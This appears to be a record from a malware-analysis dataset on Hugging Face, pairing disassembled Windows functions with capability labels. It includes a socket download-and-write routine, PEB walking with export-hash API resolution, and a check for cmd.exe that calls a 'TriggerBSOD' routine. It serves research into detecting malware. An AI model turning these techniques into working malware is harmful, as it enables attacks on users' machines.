joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404460
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe28
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0xe24], eax
mov eax, dword [esp + 0xe30]
push ebx
push ebp
mov ebp, dword [esp + 0xe34]
push esi
push edi
push 0x400
lea ecx, [esp + 0x234]
push 0
push ecx
mov dword [esp + 0x30], eax
call fcn.004082f0
add esp, 0xc
push ebp
lea edx, [esp + 0x234]
push 0x1ff
push edx
call fcn.00404852
mov eax, ebp
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4044c0
sub eax, edx
sar eax, 1
lea edi, [esp + eax*2 + 0x232]
mov ecx, 0x80
mov esi, 0x4199c0
mov eax, ebp
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4044e7
sub eax, edx
sar eax, 1
push 0x10000
lea ebx, [eax + eax + 0x202]
call fcn.0040549c
add esp, 4
push 0x10000
xor esi, esi
mov ebp, eax
push esi
push ebp
call fcn.004082f0
add esp, 0xc
push 0x7fe
lea ecx, [esp + 0x636]
xor eax, eax
push esi
push ecx
mov dword [esp + 0x28], 0x10000
mov word [esp + 0x63c], ax
call fcn.004082f0
add esp, 0xc
push 0x206
lea eax, [esp + 0x2e]
xor edx, edx
push esi
push eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x2c], esi
mov word [esp + 0x34], dx
call fcn.004082f0
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esp + 0xe44]
mov edi, dword [esp + 0x24]
lea edx, [esp + 0x630]
push edx
push eax
lea esi, [esp + 0x20]
call fcn.00403e10
add esp, 8
test eax, eax
je 0x404659
lea ecx, [esp + 0x630]
push ecx
push ebx
push 0xbba
lea ecx, [esp + 0x23c]
mov edx, esi
call fcn.00403f30
add esp, 0xc
test eax, eax
je 0x404659
lea edx, [esp + 0x630]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, ebp
mov edx, esi
call fcn.00404110
add esp, 0xc
test eax, eax
je 0x404659
mov edx, 0xbba
cmp word [esp + 0x20], dx
jne 0x404659
cmp dword [esp + 0x1c], 0
je 0x404659
cmp byte [ebp], 0
jne 0x404659
push 0x419bc0
lea eax, [esp + 0x2c]
push 0x104
push eax
call fcn.004047d5
add esp, 0xc
push 0x415328
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], 0
call fcn.00404b27
add esp, 0xc
cmp dword [esp + 0x14], 0
je 0x404651
lea eax, [esp + 0x14]
push eax
mov edi, esi
call fcn.004046a0
add esp, 4
mov dword [esp + 0x14], 1
test ebp, ebp
je 0x404666
push ebp
call fcn.00405566
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x404675
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0xe34]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047c6
add esp, 0xe28
ret
Function at 0x4046a0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.0040ee10
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x4046f8
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.004047c6
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x404737
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x404736
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.0040508c
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x404700
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00404eae
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.004047c6
add esp, 0x100c
ret

Function at 0x4047c6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41704c]
jne 0x4047d0
repz ret
jmp fcn.00406158
Function at 0x40f222
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409f74
and dword [ebp - 4], 0
cmp dword [0x418b2c], 0
mov ebx, eax
jne 0x40f2d3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f384
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40f384
push eax
call fcn.00409f02
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x418b2c], eax
call esi
push eax
call fcn.00409f02
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x418b30], eax
call esi
push eax
call fcn.00409f02
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x418b34], eax
call esi
push eax
call fcn.00409f02
pop ecx
mov dword [0x418b3c], eax
test eax, eax
je 0x40f2d3
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00409f02
pop ecx
mov dword [0x418b38], eax
mov eax, dword [0x418b38]
cmp eax, ebx
je 0x40f32b
cmp dword [0x418b3c], ebx
je 0x40f32b
push eax
call fcn.00409f7d
push dword [0x418b3c]
mov esi, eax
call fcn.00409f7d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f32b
test edi, edi
je 0x40f32b
call esi
test eax, eax
je 0x40f322
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f322
test byte [ebp - 0xc], 1
jne 0x40f32b
or dword [ebp + 0x10], 0x200000
jmp 0x40f364
mov eax, dword [0x418b30]
cmp eax, ebx
je 0x40f364
push eax
call fcn.00409f7d
pop ecx
test eax, eax
je 0x40f364
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f364
mov eax, dword [0x418b34]
cmp eax, ebx
je 0x40f364
push eax
call fcn.00409f7d
pop ecx
test eax, eax
je 0x40f364
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x418b2c]
call fcn.00409f7d
pop ecx
test eax, eax
je 0x40f384
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f386
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ee9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x480440]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x402f52
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.004022bb
lea eax, [esp + 0x14]
push 0x235
push eax
call fcn.00404c86
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x402f6a
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403eb0
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x402f1a
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00406b4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403eb0
jmp 0x402f54

Function at 0x405623
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
mov ebp, ecx
test esi, esi
jg 0x405643
jl 0x40563a
test ebx, ebx
jne 0x405643
xor eax, eax
xor edx, edx
jmp 0x405706
cmp dword [ebp + 0x38], 0
je 0x405659
push esi
push ebx
push dword [esp + 0x18]
call fcn.0040570c
jmp 0x405706
mov eax, dword [ebp + 0x1c]
push edi
mov edi, ebx
mov ecx, dword [eax]
test ecx, ecx
je 0x40569d
mov eax, dword [ebp + 0x2c]
cmp dword [eax], 0
jbe 0x40569d
cmp dword [eax], ebx
mov esi, ebx
mov edi, dword [esp + 0x14]
cmovb esi, dword [eax]
push esi
push ecx
push edi
call fcn.0040411d
mov eax, dword [ebp + 0x2c]
add edi, esi
mov dword [esp + 0x20], edi
add esp, 0xc
mov edi, ebx
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebp + 0x1c]
add dword [eax], esi
mov esi, dword [esp + 0x1c]
jmp 0x4056a5
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
cmp dword [ebp + 0x4c], 0
je 0x4056fc
mov ecx, ebp
call fcn.00403d87
mov ecx, dword [esp + 0x14]
mov edx, edi
mov eax, 0xfff
cmp edi, eax
jbe 0x4056e7
push dword [ebp + 0x4c]
push eax
push 1
push ecx
call fcn.0040c49c
mov ecx, dword [esp + 0x24]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [esp + 0x14], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x4056fc
jmp 0x4056b8
test edx, edx
je 0x4056fc
push dword [ebp + 0x4c]
push edi
push 1
push ecx
call fcn.0040c49c
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x4059d6
Capabilities:
Access peb ldr_data
Delete file
Get kernel32 base address
Get number of processors

Disassembly:
sub esp, 0xd0
mov eax, dword [0x480440]
xor eax, esp
mov dword [esp + 0xcc], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x24
mov dword [esp + 0x14], ebx
call fcn.00406b09
pop ecx
mov esi, eax
push 0x64
pop ebp
test esi, esi
je 0x405a3c
push str.Window1
lea ecx, [esp + 0xc8]
call fcn.004022bb
lea eax, [esp + 0xc4]
push eax
push ebp
push ecx
push ecx
mov dword [esp + 4], 0x40000000
mov ecx, esi
mov dword [esp], 0x40400000
call fcn.00402314
mov esi, eax
inc ebx
jmp 0x405a3e
xor esi, esi
test bl, 1
je 0x405a4f
lea ecx, [esp + 0xc4]
call fcn.00403eb0
test esi, esi
je 0x405a70
mov ecx, esi
call fcn.004031f4
test esi, esi
je 0x405a70
lea ecx, [esi + 0xc]
call fcn.00403eb0
push 0x24
push esi
call fcn.00406b39
pop ecx
pop ecx
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4813d8], eax
push 0x27
push 0x47fe20
push 0x547
mov edi, 0x47fe48
push edi
call fcn.00402f88
push 1
push 0x424478
call fcn.00405be2
push 0x8aafdc01
push dword [0x4813d8]
call fcn.00402ee9
add esp, 0x20
lea ecx, [esp + 0x14]
mov ebx, str.static.lib
mov esi, eax
push 1
push 0x40
push 2
push ebx
call fcn.00402107
lea eax, [esp + 0x14]
push 0x424488
push eax
call fcn.004010ef
push eax
call fcn.00401ea3
add esp, 0xc
sub ebp, 1
jne 0x405ad6
lea ecx, [esp + 0x14]
call fcn.004040ed
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
push 0x40
push 0x4e4
push edi
call esi
test eax, eax
je 0x405b65
call fcn.0040511c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x400
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405b65
push 0x42448c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
xor ebx, ebx
push ebx
push ebx
push eax
push esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esp + 0x14]
call fcn.00402c98
mov ecx, dword [esp + 0xdc]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00406b4c
add esp, 0xd0
ret 0x10

Function at 0x4078ca
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407909
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407909
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407909
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407909
cmp dword [ecx + 0x74], 0xe
jbe 0x407909
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4158c7
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4283d0
push 0x4283c8
push str.FlsAlloc
push 0x1e
call fcn.00415791
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4158fb
push dword [ebp + 8]
mov ecx, esi
call dword [0x424148]
call esi
jmp 0x415901
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x417026
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416e97

Function at 0x417420
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407a30
mov eax, dword [0x480440]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00415efa
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x417462
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4175be
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004237f0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x482020]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00418417
mov ecx, dword [esi*4 + 0x482020]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4175b7
cmp eax, dword [edi + ecx + 0x24]
jne 0x4175b7
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4175b7
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418417
add esp, 0x14
test edx, edx
jl 0x4175b7
jg 0x41752d
test eax, eax
jb 0x4175b7
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4175b7
jl 0x417547
cmp dword [ebp - 0x1008], eax
ja 0x4175b7
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x417565
test ebx, ebx
je 0x41759e
cmp ecx, edi
jae 0x41759e
mov al, byte [ecx]
cmp al, 0xd
jne 0x41757f
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41758b
cmp byte [ecx + 1], 0xa
jne 0x41758b
inc ecx
jmp 0x41758b
movzx eax, al
movsx eax, byte [eax + 0x480710]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x417565
cmp edx, ebx
jne 0x417565
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4175bc
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406b4c
leave
ret
Function at 0x4178b5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x482020]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4178f5
cmp byte [ebx], 0xa
jne 0x4178f5
or byte [eax + edi + 0x28], 4
jmp 0x4178fa
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4179f8
mov al, byte [edx]
cmp al, 0x1a
je 0x4179da
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x417929
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41794e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x417958
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41790b
jmp 0x4179f8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4179d5
cmp dword [ebp - 0xc], 0
je 0x4179d5
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x482020]
test byte [eax + edi + 0x28], 0x48
je 0x4179af
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41799a
mov byte [esi], dl
jmp 0x4179ab
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x482020]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4179f8
cmp byte [ebp - 1], 0xa
jne 0x4179be
cmp esi, ebx
jne 0x4179be
mov byte [esi], 0xa
jmp 0x4179f7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00418435
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4179f8
mov byte [esi], 0xd
jmp 0x4179f7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x482020]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4179f4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4179f8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x417a01
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x482020]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x417a44
cmp word [esi], dx
jne 0x417a44
or byte [edi + eax + 0x28], 4
jmp 0x417a49
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x417b9c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x417b7c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x417a8b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x417ac1
cmp eax, edx
jae 0x417acd
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x417a63
jmp 0x417b9c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417b78
cmp dword [ebp - 0x14], 0
je 0x417b78
mov eax, dword [ebx*4 + 0x482020]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x417b50
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x417b19
mov word [esi], cx
jmp 0x417b4c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x482020]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x482020]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x482020]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x417b9c
pop ebx
cmp word [ebp - 4], bx
jne 0x417b61
cmp esi, dword [ebp + 0xc]
jne 0x417b61
mov word [esi], bx
jmp 0x417b99
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00418435
add esp, 0x10
cmp word [ebp - 4], bx
je 0x417b9c
push 0xd
jmp 0x417b95
mov ecx, dword [ebx*4 + 0x482020]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x417b93
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x417b9c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x401460
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401493
mov eax, 0
jmp 0x401516
mov dword [ebp - 0x138], 0x128
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32First_8
sub esp, 8
test eax, eax
je 0x401505
mov dword [esp + 4], str.cmd.exe
lea eax, [ebp - 0x138]
add eax, 0x24
mov dword [esp], eax
call sym._lstrcmpiA_8
sub esp, 8
test eax, eax
jne 0x4014e9
mov dword [ebp - 0xc], 1
jmp 0x401505
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._Process32Next_8
sub esp, 8
test eax, eax
jne 0x4014c0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4018cb
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x94
lea edx, [ebp - 0x40]
mov eax, 0
mov ecx, 0xa
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp], 0
call sym._CreateSolidBrush_4
sub esp, 4
mov dword [ebp - 0x24], eax
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
call sym._LoadCursorA_8
sub esp, 8
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], str.MalwareWindowClass
mov dword [ebp - 0x3c], sym._WindowProcedure_16
lea eax, [ebp - 0x40]
mov dword [esp], eax
call sym._RegisterClassA_4
sub esp, 4
test ax, ax
jne 0x401943
mov eax, 0xffffffff
jmp 0x401ad5
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc8
mov dword [esp + 0x18], 0x2bc
mov dword [esp + 0x14], 0x80000000
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0xc00000
mov dword [esp + 8], str.Rules
mov dword [esp + 4], eax
mov dword [esp], 0x88
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._UpdateWindow_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetDC_4
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CalculateWindowWidth
mov dword [ebp - 0x14], eax
call sym._CalculateWindowHeight
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReleaseDC_8
sub esp, 8
mov dword [esp + 0x18], 6
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SetWindowPos_28
sub esp, 0x1c
call sym._IsCmdOpen
test eax, eax
je 0x401a6c
call sym._TriggerBSOD
nop
mov ecx, 0
mov eax, 0x1c
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
jmp 0x401a7d
mov dword [esp], 0x64
call sym._Sleep_4
sub esp, 4
jmp 0x401a47
mov dword [ebp + eax - 0x5c], ecx
add eax, 4
cmp eax, edx
jb 0x401a7d
jmp 0x401aa6
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._TranslateMessage_4
sub esp, 4
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._DispatchMessageA_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetMessageA_16
sub esp, 0x10
test eax, eax
jne 0x401a8a
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret 0x10